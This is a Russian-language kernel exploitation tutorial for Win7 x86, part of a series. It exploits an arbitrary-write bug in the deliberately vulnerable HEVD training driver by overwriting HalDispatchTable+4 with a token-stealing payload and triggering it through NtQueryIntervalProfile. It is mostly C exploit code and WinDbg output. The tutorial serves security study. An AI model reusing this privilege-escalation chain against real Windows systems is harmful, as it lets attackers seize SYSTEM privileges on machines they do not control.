Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 7 – Произвольная перезапись (Win7 x86)

Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 7 – Произвольная перезапись (Win7 x86)

Для систем на базе Win 10 x64 эта тема будет рассматриваться в следующей статье.

Автор: Mohamed Shahat

Код эксплоита находится здесь.

Для систем на базе Win 10 x64 эта тема будет рассматриваться в следующей статье.

Суть уязвимости

Код находится здесь.

NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
PULONG_PTR What = NULL;
PULONG_PTR Where = NULL;
NTSTATUS Status = STATUS_SUCCESS;

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead((PVOID)UserWriteWhatWhere,
sizeof(WRITE_WHAT_WHERE),
(ULONG)__alignof(WRITE_WHAT_WHERE));

What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;

DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

#ifdef SECURE
// Secure Note: This is secure because the developer is properly validating if address
// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
// routine before performing the write operation
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));

*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");

// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
*(Where) = *(What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

Уязвимость довольно очевидна. Функция TriggerArbitraryOverwrite позволяет записывать нужное значение по нужному адресу. Эта возможность, конечно, очень полезная, однако необходимо разобраться, сможем ли мы воспользоваться этой уязвимостью без других брешей.

Рассмотрим некоторые сценарии (которые не сработают, но тем не менее полезны для обдумывания):

  1. Перезапись адреса возврата:
    • Потребуется информационная утечка для выяснения структуры стека или примитив для чтения.
  2. Перезапись токена текущего процесса токеном процесса SYSTEM:
    • Нужно знать адрес EPROCESS процесса SYSTEM.
  3. Перезапись указателя функции, вызываемой с привилегиями ядра:
    • В статье Exploiting Common Flaws in Drivers десятилетней давности описывается надежная техника для решения этой задачи.

hal.dll, HalDispatchTable и указатели функций

В библиотеке hal.dll реализован слой аппаратных абстракций (Hardware Abstraction Layer), который позволяет взаимодействовать с оборудованием без вникания в технические детали. Эта библиотека позволяет Windows работать на разном оборудовании.

В таблице HalDispatchTable хранятся указатели функций на процедуры, используемые в HAL. Рассмотрим эту таблицу повнимательнее.

kd> dd HalDispatchTable // Display double words at HalDispatchTable
82970430 00000004 828348a2 828351b4 82afbad7
82970440 00000000 828455ba 829bc507 82afb3d8
82970450 82afb683 8291c959 8295d757 8295d757
82970460 828346ce 82834f30 82811178 82833dce
82970470 82afbaff 8291c98b 8291caa1 828350f6
82970480 8291caa1 8281398c 8281b4f0 82892c8c
82970490 82af8d7f 00000000 82892c9c 829b3c1c
829704a0 00000000 82892cac 82af8f77 00000000

kd> ln 828348a2
Browse module
Set bu breakpoint

(828348a2) hal!HaliQuerySystemInformation | (82834ad0) hal!HalpAcpiTimerInit
Exact matches:
hal!HaliQuerySystemInformation (<no parameter info>)

kd> ln 828351b4
Browse module
Set bu breakpoint

(828351b4) hal!HalpSetSystemInformation | (82835234) hal!HalpDpReplaceEnd
Exact matches:
hal!HalpSetSystemInformation (<no parameter info>)

В первой записи таблицы HalDispatchTable не содержится ничего интересного. HalDispatchTable+4 указывает на процедуру HaliQuerySystemInformation, и HalDispatchTable+8 указывает на процедуру HalpSetSystemInformation.

Эти адреса доступны для записи и легко вычисляемы (подробнее об этом позже). Процедура HaliQuerySystemInformation используется реже, и, соответственно, мы можем разместить шелл-код по адресу HalDispatchTable+4 и сделать вызов из режима пользователя, который в конечно итоге приведет к вызову этой функции.

HaliQuerySystemInformation вызывается из незадокументированной функции NtQueryIntervalProfile (которая, согласно статье, приведенной выше, «очень редко используется»). Рассмотрим эту функцию в WinDBG:

kd> uf NtQueryIntervalProfile

...snip...

nt!NtQueryIntervalProfile+0x6b:
82b55ec2 call nt!KeQueryIntervalProfile (82b12c97)

...snip...

kd> uf nt!KeQueryIntervalProfile

...snip...

nt!KeQueryIntervalProfile+0x14:
82b12cab mov dword ptr [ebp-10h],eax
82b12cae lea eax,[ebp-4]
82b12cb1 push eax
82b12cb2 lea eax,[ebp-10h]
82b12cb5 push eax
82b12cb6 push 0Ch
82b12cb8 push 1
82b12cba call dword ptr [nt!HalDispatchTable+0x4 (82970434)]
82b12cc0 test eax,eax
82b12cc2 jl nt!KeQueryIntervalProfile+0x38 (82b12ccf) Branch

...snip...

Функция по адресу [nt!HalDispatchTable+0x4] вызывается по адресу nt!KeQueryIntervalProfile+0x23. Этот вызов мы можем инициировать из режима пользователя, и, надеюсь, после перезаписи не возникнет никаких проблем.

Эксплоит будет делать следующее:

  1. Получать местонахождение таблицы HalDispatchTable в ядре.
  2. Перезаписывать HalDispatchTable+4 адресом полезной нагрузки.
  3. Вычислять адрес NtQueryIntervalProfile и вызывать эту функцию.

Получение адреса таблицы HalDispatchTable

HalDispatchTable в управляющем модуле ядра (ntoskrnl или другом инстансе в зависимости от ОС/процессора). Чтобы вычислить адрес этой таблицы, нам нужно:

  1. Получить базовый адрес ядра в ядре при помощи функции NtQuerySystemInformation.
  2. Загрузить ядро в режиме пользователя и получить смещение до таблицы HalDispatchTable.
  3. Добавить смещение к базовому адресу ядра.

SYSTEM_MODULE krnlInfo = *getNtoskrnlInfo();
// Get kernel base address in kernelspace
ULONG addr_ntoskrnl = (ULONG)krnlInfo.ImageBaseAddress;
printf("[+] Found address to ntoskrnl.exe at 0x%x.\n", addr_ntoskrnl);

// Load kernel in use in userspace to get the offset to HalDispatchTable
// NOTE: DO NOT HARDCODE KERNEL MODULE NAME
printf("[+] Kernel in use: %s.\n", krnlInfo.Name);
char* krnl_name = strrchr((char*)krnlInfo.Name, '\\') + 1;
HMODULE user_ntoskrnl = LoadLibraryEx(krnl_name, NULL,DONT_RESOLVE_DLL_REFERENCES);
if(user_ntoskrnl == NULL)
{
printf("[-] Failed to load kernel image.\n");
exit(-1);
}

printf("[+] Loaded kernel in usermode using LoadLibraryEx: 0x%x.\n",user_ntoskrnl);
ULONG user_HalDispatchTable = (ULONG)GetProcAddress(user_ntoskrnl,"HalDispatchTable");
if(user_HalDispatchTable == NULL)
{
printf("[-] Failed to locate HalDispatchTable.\n");
exit(-1);
}

printf("[+] Found HalDispatchTable in usermode: 0x%x.\n",user_HalDispatchTable);

// Calculate address of HalDispatchTable in kernelspace
ULONG addr_HalDispatchTable = addr_ntoskrnl - (ULONG)user_ntoskrnl +user_HalDispatchTable;
printf("[+] Found address to HalDispatchTable at 0x%x.\n",addr_HalDispatchTable);

Перезапись HalDispatchTable+4

Для перезаписи этого адреса нам нужно передать буфер, который приводится к структуре WRITE_WHAT_WHERE, содержащей два указателя: what (что записываем) и where (куда записываем).

typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

Не забываем, что имеем дело с указателями:

ULONG What = (ULONG)&StealToken;
*uBuffer = (ULONG)&What;
*(uBuffer + 1) = (addr_HalDispatchTable + 4);

DWORD bytesRet;
DeviceIoControl(
driver,
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
uBuffer,
SIZE,
NULL,
0,
&bytesRet,
NULL);

Проверяем, что получилось. Ставим точку останова перед началом запуска эксплоита.

kd> bu HEVD!TriggerArbitraryOverwrite 0x61

kd> g
[+] UserWriteWhatWhere: 0x000E0000
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x0025FF38
[+] UserWriteWhatWhere->Where: 0x82966434
[+] Triggering Arbitrary Overwrite
Breakpoint 2 hit
HEVD!TriggerArbitraryOverwrite+0x61:
93d71b69 mov eax,dword ptr [edi]

Затем проверяем данные.

kd> dd 0x0025FF38
0025ff38 00f012d8 bae57df8 0025ff88 00f014d9
0025ff48 00000001 002a06a8 0029e288 bae57d30
0025ff58 00000000 00000000 7ffdc000 2c407500
0025ff68 00000001 00769cbf 0025ff54 96a5085a
0025ff78 0025ffc4 00f01c7b ba30aa60 00000000
0025ff88 0025ff94 75ebee1c 7ffdc000 0025ffd4
0025ff98 77b23ab3 7ffdc000 779af1ec 00000000
0025ffa8 00000000 7ffdc000 00000000 00000000
kd> ln 00f012d8
Browse module
Set bu breakpoint

[C:\Users\abatchy\source\repos\HEVD\HEVD\shell32.asm @ 6] (00f012d8) HEVD_f00000!StealToken | (00f01312) HEVD_f00000!__security_check_cookie
Exact matches:
HEVD_f00000!StealToken (void)

Первая часть прошла успешно. Как и планировалось, мы передали указатель в полезную нагрузку. Проверяем перезапись адреса (часть where).

kd> ln 0x82966434
Browse module
Set bu breakpoint

(82966430) nt!HalDispatchTable+0x4 | (8296648c) nt!BuiltinCallbackReg

Как и планировалось, переменная Where указывает на адрес nt!HalDispatchTable+0x4.

kd> p
HEVD!TriggerArbitraryOverwrite+0x63:
93d71b6b mov dword ptr [ebx],eax
kd> p
HEVD!TriggerArbitraryOverwrite+0x65:
93d71b6d jmp HEVD!TriggerArbitraryOverwrite+0x8b (93d71b93)
kd> dd HalDispatchTable
0052c430 00000004 006b7aaf 006b7ac3 006b7ad7
0052c440 00000000 004015ba 00578507 006b73d8
0052c450 006b7683 004d8959 00519757 00519757
0052c460 004d8966 004d8977 00000000 006b8de7
0052c470 006b7aff 004d898b 004d8aa1 006b7b11
0052c480 004d8aa1 00000000 00000000 0044ec8c
0052c490 006b4d7f 00000000 0044ec9c 0056fc1c
0052c4a0 00000000 0044ecac 006b4f77 00000000

Запуск полезной нагрузки

Как объяснялось ранее, нам нужно вызвать функцию NtQueryIntervalProfile, адрес которой можно получить из библиотеки ntdll.dll.

// Trigger the payload by calling NtQueryIntervalProfile()
HMODULE ntdll = GetModuleHandle("ntdll");
PtrNtQueryIntervalProfile _NtQueryIntervalProfile =(PtrNtQueryIntervalProfile)GetProcAddress(ntdll,"NtQueryIntervalProfile");
if (_NtQueryIntervalProfile == NULL)
{
printf("[-] Failed to get address of NtQueryIntervalProfile.\n");
exit(-1);
}
ULONG whatever;
_NtQueryIntervalProfile(2, &whatever);

Полная версия эксплоита находится здесь.


Мир сходит с ума, но еще не поздно все исправить. Подпишись на канал SecLabnews и внеси свой вклад в предотвращение киберапокалипсиса!